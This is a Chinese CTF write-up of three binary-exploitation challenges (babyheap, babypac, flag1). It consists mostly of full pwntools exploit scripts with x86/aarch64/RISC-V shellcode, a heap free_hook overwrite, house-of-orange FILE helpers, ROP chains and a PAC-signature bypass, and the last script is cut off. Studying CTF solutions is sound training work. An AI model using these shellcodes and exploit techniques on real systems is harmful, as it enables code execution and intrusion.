PWN&RE January 20, 2021

六星CTF二进制题解

Words count 208k Reading time 3:09 Read count 0

一、PWN

1、babyheap

一道2.27的新机制的题目

https://www.anquanke.com/post/id/219292

但是直接改bk指针即可,因为和2.31一样

漏洞点:UAF

image-20210201215448693

输入点:只能改bk指针,所以需要切割实现overlap通过上一个堆块改下一个堆块的fd指针

image-20210201215431476

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#coding=utf8
from pwn import *
# from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
# context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn')
if local:
p = process('./pwn')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
#onegadget18(libc-2.27.so) 0x4f322 0x4f2c5 0x10a38c
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

# def mid_overflow(offset,func_got,rdi,rsi,rdx,next_func):
# payload = ''
# payload += 'a'*offset
# payload += 'aaaaaaaa'
# payload += p64(pppppp_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(1)
# payload += p64(func_got)
# payload += p64(rdx)
# payload += p64(rsi)
# payload += p64(rdi)
# payload += p64(mov_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(next_func)
# ru('Input:\n')
# sd(payload)
def add(index,size):
ru(">> ")
sl('1')
ru("input index")
sl(str(index))
ru("input size")
sl(str(size))
def free(index):
ru(">> ")
sl('2')
ru("input index")
sl(str(index))
def edit(index,content):
ru(">> ")
sl('3')
ru("input index")
sl(str(index))
ru("input content")
sd(content)
def show(index):
ru(">> ")
sl('4')
ru("input index")
sl(str(index))

def malloc_consolidate(content):
ru(">> ")
sl('5')
ru("your name:")
sd(content)
def show2():
ru(">> ")
sl('6')

for i in range(15):
add(i,0x40)
for i in range(14):
free(i)

malloc_consolidate("aaaaaaaa")
add(0,0x50)
show(0)
rc(1)
libc_base = u64(rc(6).ljust(8,'\x00'))-0x3ebf00+0x40
print("libc_base--->"+hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
add(9,0x60)
free(9)
edit(8,p64(0x71)+p64(free_hook-8))
add(1,0x60)
add(2,0x60)
edit(2,p64(system))
edit(8,p64(0x71)+"/bin/sh\x00")
# debug(0x000000000000B57)

free(9)

p.interactive()

2、babypac

这题是ubuntu20下的aarch64的arm题,所以一开始要先strings看清楚版本先,然后ida分析每个地方都有个神奇的签名:这是一种pac机制,一种全新的保护机制,通过在一个内存地址的高位设置一个值,然后当使用到这个内存地址时,要进行check,使用时的值要和设置完的整体值相等,才会真正使用到这个内存地址的值(去掉高位那个标志值)

image-20210203184627251就是这个玩意,ida7.5完美编译出来,也就是说如果我们想要栈溢出,ret地址必须先签名后才能使用。

具体原理学习:

https://www.jianshu.com/p/62bf046b7701

https://juejin.cn/post/6883002562581102600

https://www.jianshu.com/p/03580e3a1a05

https://justinyan.me/post/4129

https://www.anquanke.com/post/id/171358

现在来看看函数:

image-20210203184911071

image-20210203184840843

漏洞点在lock:

image-20210203184921873

漏洞点数组下标溢出,输入负数,可以达到name的位置:

image-20210203184958235

来看看show函数

image-20210203185028204

可以打印出来我们输入的值以及签名的值(负数溢出)

来看看auth:

image-20210203185209521

先绕过逆向部分的sign,然后有个栈溢出漏洞给我们利用。

往name的地址写入逆向的key和ret地址,我们在lock中利用下标溢出使得他们签名成功,实现利用,完整的exp如下:(封装了ret2rsc的使用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
# -*- coding: utf-8 -*-
from pwn import *
# from libformatstr import FormatStr
context.log_level = 'debug'
# context.terminal=['tmux','splitw','-h']
context(arch='aarch64', os='linux')
# context(arch='i386', os='linux')
bin_elf = './chall'
context.binary = bin_elf

if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", "./",bin_elf])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", "./", bin_elf])


#onegadget64(libc.so.6)
#more onegadget
#one_gadget -l 200 /lib/x86_64-linux-gnu/libc.so.6
one64 = [0x45226,0x4527a,0xf0364,0xf1207]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6)
# one32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))

# shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8) # vtable
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

def get_io_str_jumps_offset(libc):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
# print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset

def house_of_orange_payload(libc, libc_base):
io_str_jump = libc_base + get_io_str_jumps_offset(libc)
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
payload = pack_file_flush_str_jumps(io_str_jump, io_list_all, system, bin_sh)
return payload

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def ms(name,addr):
print name + "---->" + hex(addr)

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))

# with open('1.txt','wb+') as f:
# s = ""
# for i in shellcode:
# s += "0x" + i.encode("hex")
# for i in s:
# f.write(i)

# def mid_overflow(offset,func_got,rdi,rsi,rdx,next_func):
# payload = ''
# payload += 'a'*offset
# payload += 'aaaaaaaa'
# payload += p64(pppppp_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(1)
# payload += p64(func_got)
# payload += p64(rdx)
# payload += p64(rsi)
# payload += p64(rdi)
# payload += p64(mov_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(next_func)
# ru('Input:\n')
# sd(payload)
def mid_pay(ret_addr,ret2_addr,func_got,x0,x1,x2,next_func):
py = ''
py += p64(ret_addr)
py += p64(0xdeadbeef)
py += p64(ret2_addr)
py += p64(0)
py += p64(1)
py += p64(func_got)
py += p64(x0)
py += p64(x1)
py += p64(x2)
py += p64(0xdeadbeef)
py += p64(next_func)
py += p64(0)
py += p64(1)
py += p64(x1)
py += p64(x1+8)
py += p64(x1+16)
py += p64(x2+24)
return py

def add(size):
ru(">> ")
sl('1')
ru("identity: ")
sl(str(size))
def lock(index):
ru(">> ")
sl('2')
ru("idx: ")
sl(str(index))
def auth(index,py):
ru(">> ")
sl('4')
ru("idx: ")
sl(str(index))
sd(py)
def show():
ru(">> ")
sl('3')

def sign(a1):
a7 = (a1<<7)&0xffffffffffffffff
a0 = ((a1 ^ a7 ^ ((a1 ^ a7) >> 11)) << 31)&0xffffffffffffffff
tmp = a1 ^ (a1 << 7) ^ ((a1 ^ a7) >> 11) ^ ((a1 ^ a7 ^ ((a1 ^ a7) >> 11)) << 31) ^ ((a1 ^ a7 ^ ((a1 ^ a7) >> 11) ^ a0) >> 13)
return tmp&0xffffffffffffffff
def cal_pac(addr,pac_addr):
for i in range(256):
v = get_addr(i,addr)
if sign(v)==pac_addr:
return i
def get_addr(pac,addr):
v = (pac<<8*6)+addr
return v

number = 0x010a9fc70042
ret_addr = 0x000000000400FF8
ret2_addr = 0x000000000400FD8
ru("input your name: ")
py = ''
py += p64(ret_addr)+p64(0)+p64(number)+p64(0)
sl(py)
add(py)
lock(-1)
lock(-2)
show()
ru("name: ")
pac_addr = u64(rc(8))
ms("pac_addr",pac_addr)
pac_num = cal_pac(ret_addr,pac_addr)
ms("pac_num",pac_num)
ret_addr = get_addr(pac_num,ret_addr)
read_got = 0x000000000411FD8
puts_got = 0x0000000000411FD0

system = 0x4000888400
bss = 0x0412010

pp = ""
pp += 'a'*0x20
pp += 'b'*8
pp += mid_pay(ret_addr,ret2_addr,read_got,0,bss+0x200,0x100,ret2_addr)
auth(-1,pp)

pause()
sl(p64(system)+"/bin/sh\x00")
#libc_base = u64(rc(6).ljust(8,'\x00'))
#print "libc_base---->" + hex(libc_base)
#malloc_hook = libc_base + libc.sym["__malloc_hook"]
#fake_chunk = malloc_hook - 0x23
#realloc = libc_base + libc.sym["realloc"]
#free_hook = libc_base + libc.sym["__free_hook"]
#system = libc_base + libc.sym["system"]
#binsh = libc_base + libc.search("/bin/sh").next()
#setcontext = libc_base + libc.sym["setcontext"]
#pop_rax_ret = libc_base + 0x000000000004a550
#pop_rsi_ret = libc_base + 0x0000000000027529
#pop_rdx_r12_ret = libc_base + 0x000000000011c1e1
#pop_rdi_ret = libc_base + 0x0000000000026b72
#syscall_ret = libc_base + 0x0000000000066229
#magic_gadget = libc_base + 0x00000000001547a0
#0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; #call qword ptr [rdx + 0x20];
#ret = libc_base + 0x00000000000c1479

#heap_addr = u64(rc(6).ljust(8,'\x00'))-0x470
#print "heap_addr--->" + hex(heap_addr)
#pay_start = heap_addr+0xec0

#def srop_pay():
#pay = ''
#pay += p64(0) + p64(pay_start)
#pay = pay.ljust(0x20,'\x00')
#pay += p64(setcontext+33)
#pay = pay.ljust(0x68,'\x00')
#pay += p64(0)
#pay += p64(pay_start)
#pay += p64(0)
#pay += p64(0)
#pay += p64(0x110)
#pay = pay.ljust(0xa0,'\x00')
#pay += p64(pay_start)
#pay += p64(syscall_ret)
#pay = pay.ljust(0xe0,'\x00')
#pay += p64(pay_start)
#return pay

#def orw_pay():
#pay = ''
#pay += p64(pop_rdi_ret)
#pay += p64(pay_start+0x100)
#pay += p64(pop_rsi_ret)
#pay += p64(0)
#pay += p64(pop_rax_ret)
#pay += p64(0x2)
#pay += p64(syscall_ret)
#pay += p64(pop_rdi_ret)
#pay += p64(3)
#pay += p64(pop_rsi_ret)
#pay += p64(heap_addr)
#pay += p64(pop_rdx_r12_ret)
#pay += p64(0x40)
#pay += p64(0)
#pay += p64(pop_rax_ret)
#pay += p64(0x0)
#pay += p64(syscall_ret)
#pay += p64(pop_rdi_ret)
#pay += p64(1)
#pay += p64(pop_rsi_ret)
#pay += p64(heap_addr)
#pay += p64(pop_rdx_r12_ret)
#pay += p64(0x40)
#pay += p64(0)
#pay += p64(pop_rax_ret)
#pay += p64(0x1)
#pay += p64(syscall_ret)
#pay = pay.ljust(0x100,'a')
#pay += './flag\x00\x00'
#return pay




# i = 0
# while 1:
# print i
# i += 1
# try:
# pwn()
# except EOFError:
# p.close()
# local = 1
# elf = ELF('./note_five')
# if local:
# p = process('./note_five')
# libc = elf.libc
# continue
# else:
# p = remote('121.40.246.48',9999)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# else:
# sl("ls")
# break
p.interactive()

这题也可以用shellcode的方式去打(虽然我也好奇,aarch64没有执行权限的段也能执行shellcode?我觉得是checksec和vmmap的误判,因为qemu的原因~)

image-20210203190508675

1
aarch64_getshell_code = "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

r = process(["qemu-aarch64", "-g","1234","-cpu", "max", "-L", ".", "./chall"])

def lock(idx):
r.sendlineafter(">> ", '2')
r.sendlineafter("idx: ", str(idx))

def show():
r.sendlineafter(">> ", '3')

def auth(idx):
r.sendlineafter(">> ", '4')
r.sendlineafter("idx: ", str(idx))

def unshiftl(a,s,m=2**64-1):
i=0
while i*s<64:
lenm=((2**64-1)>>(64-s))<<(s*i)
a^=((a&lenm)<<s)&m
i+=1
return a

def unshiftr(a,s,m=2**64-1):
i=0
while i*s<64:
lenm=(((2**64-1)<<(64-s))&(2**64-1))>>(s*i)
a^=((a&lenm)>>s)&m
i+=1
return a

elf = ELF("./chall")
libc = ELF("./lib/libc.so.6")

csu1 = 0x400FF8
csu2 = 0x400FD8

sh = p64(csu1) + p64(0)
sh += p64(1145141919810) + p64(0)

r.sendafter("name: ", sh)

lock(-1)
lock(-2)

show()
r.recvuntil("name: ")
a = u64(r.recv(8))
a = unshiftr(a, 13)
a = unshiftl(a, 31)
a = unshiftr(a, 11)
a = unshiftl(a, 7)
info("forged addr: 0x%lx" % a)

auth(-1)

b = 0x40008a66b0 - libc.sym['puts']
libc.address = b
info("libc: 0x%lx" % b)
info("system: 0x%lx" % libc.sym['system'])

sh = b"a"*0x28
sh += p64(a)
sh += p64(0) + p64(csu2)
sh += p64(0) + p64(1)
sh += p64(elf.got['read']) + p64(0)
sh += p64(0x412060) + p64(0x100)

sh += p64(0) + p64(csu2)
sh += p64(0) + p64(1)
sh += p64(0x412060) + p64(0)
sh += p64(0) + p64(0)

r.send(sh)
pause()
r.send(p64(0x412068) + b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4")

r.interactive()

3、flag1

这题和flag0的那个逆向题是同一个文件,都是riscv64的架构。

image-20210203224501696

首先下载个交叉编译链(别人写好的):

1
https://static.dev.sifive.com/dev-tools/riscv64-unknown-elf-gcc-8.3.0-2019.08.0-x86_64-linux-ubuntu14.tar.gz

将文件夹名字改成riscv64,打开长这样:

image-20210203223724761

交叉编译链都在bin目录下,下面继续分析这个程序:

在做逆向时已经把程序逻辑搞清楚了,其实这题就是在利用gets进行栈溢出的操作,然后通过ghidra9.2的分析:

image-20210203224330694

我们已经知道栈大小为0x120,这里调试用gef进行,因为这题开了沙箱,只能orw打印flag,所以我们需要做的是先找到放置参数的gadget,调用gets函数读取shellcode,然后跳转到shellcode的位置,这里先研究下shellcode怎么写,对于一种新的架构语言,写系统调用都是比较头疼的问题,这里总结一下方法:

1、用交叉编译链静态编译生成含有orw或者execve函数的程序

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <string.h>
int main()
{
char buf[100];
int a = open("./flag",0,0);
read(a,buf,100);
write(1,buf,100);
execve("/bin/sh",0,0);
return 0;
}
1
./riscv64-unknown-elf-gcc -static -o 1 1.c

ghidra9.2分析汇编:

image-20210203230002120

image-20210203230053767

image-20210203230142217

image-20210203230201162

可以知道的信息就是li是将参数放到寄存器的操作,然后a0,a1,a2是函数调用的前3个参数寄存器,a7是系统调用号放置的寄存器,orw对应是0x400,0x3f,0x40,而execve好像没有系统调用号(奇奇怪怪的~)

image-20210203230555307

下面我们需要做的就是书写汇编然后编译成程序来提取shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.global _start
.text
_start:
lui a1, 0x6d10
srli a1, a1, 8
li a0, -100
li a2, 0
li a3, 0
li a7, 0x38
ecall
lui a1, 0x6d10
srli a1, a1, 8
li a2, 0x100
li a7, 0x3f
ecall
li a0, 1
lui a1, 0x6d10
srli a1, a1, 8
li a2, 0x100
li a7, 0x40
ecall
1
./riscv64-unknown-elf-gcc -c 1.s -o 1

image-20210203231439869

C一下转成数据,cd操作依然有效:

image-20210203231651439

shellcode成功提取出来:

1
2
3
4
5
6
shellcode_int = [
0xB7, 0x05, 0xD1, 0x06, 0xA1, 0x81, 0x13, 0x05, 0xC0, 0xF9, 0x01, 0x46, 0x81, 0x46, 0x93, 0x08,
0x80, 0x03, 0x73, 0x00, 0x00, 0x00, 0xB7, 0x05, 0xD1, 0x06, 0xA1, 0x81, 0x13, 0x06, 0x00, 0x10,
0x93, 0x08, 0xF0, 0x03, 0x73, 0x00, 0x00, 0x00, 0x05, 0x45, 0xB7, 0x05, 0xD1, 0x06, 0xA1, 0x81,
0x13, 0x06, 0x00, 0x10, 0x93, 0x08, 0x00, 0x04, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]

现在我们只要调用一下gets读取shellcode然后跳转过去即可,这里需要先找下gadget,找到rop控制a0的指令,在0x11b12处,同时读入函数在0x16a5a(应该是gets)处,如果直接返回到gets,那会进入gets无限循环,我们可以控制到0x16a68的位置,只需要多控制s1指向stdin结构体,就不会因为lr寄存器无限循环了,最后跳转到shellcode的位置去执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
# -*- coding: utf-8 -*-
from pwn import *
bin_elf = './main'
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
p = process(["qemu-riscv64",bin_elf])
else:
p = process(["qemu-riscv64", "-g", "1234",bin_elf])

#onegadget64(libc.so.6)
#more onegadget
#one_gadget -l 200 /lib/x86_64-linux-gnu/libc.so.6
one64 = [0x45226,0x4527a,0xf0364,0xf1207]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6)
# one32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))

# shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8) # vtable
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

def get_io_str_jumps_offset(libc):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
# print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset

def house_of_orange_payload(libc, libc_base):
io_str_jump = libc_base + get_io_str_jumps_offset(libc)
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
payload = pack_file_flush_str_jumps(io_str_jump, io_list_all, system, bin_sh)
return payload

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def ms(name,addr):
print name + "---->" + hex(addr)

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))

# with open('1.txt','wb+') as f:
# s = ""
# for i in shellcode:
# s += "0x" + i.encode("hex")
# for i in s:
# f.write(i)

# def mid_overflow(offset,func_got,rdi,rsi,rdx,next_func):
# payload = ''
# payload += 'a'*offset
# payload += 'aaaaaaaa'
# payload += p64(pppppp_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(1)
# payload += p64(func_got)
# payload += p64(rdx)
# payload += p64(rsi)
# payload += p64(rdi)
# payload += p64(mov_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(next_func)
# ru('Input:\n')
# sd(payload)


def malloc(size,content):
ru(">> ")
sl('1')
ru()
sl(str(size))
ru()
sd(content)
def free(index):
ru(">> ")
sl('3')
ru()
sl(str(index))
def edit(index,content):
ru(">> ")
sl('2')
ru()
sl(str(index))
ru()
sd(content)
def show(index):
ru(">> ")
sl('4')
ru()
sl(str(index))

ru("Input the flag: ")
payload = 0x120 * '\x00' + p64(0x11b12) + p64(0x6d000) * 5 + p64(0x11b12) + p64(0x6d4a0) * 5 + p64(0x16a68) + p64(0x6d000) * 0x50
sl(payload)
pause()
shellcode_int = [
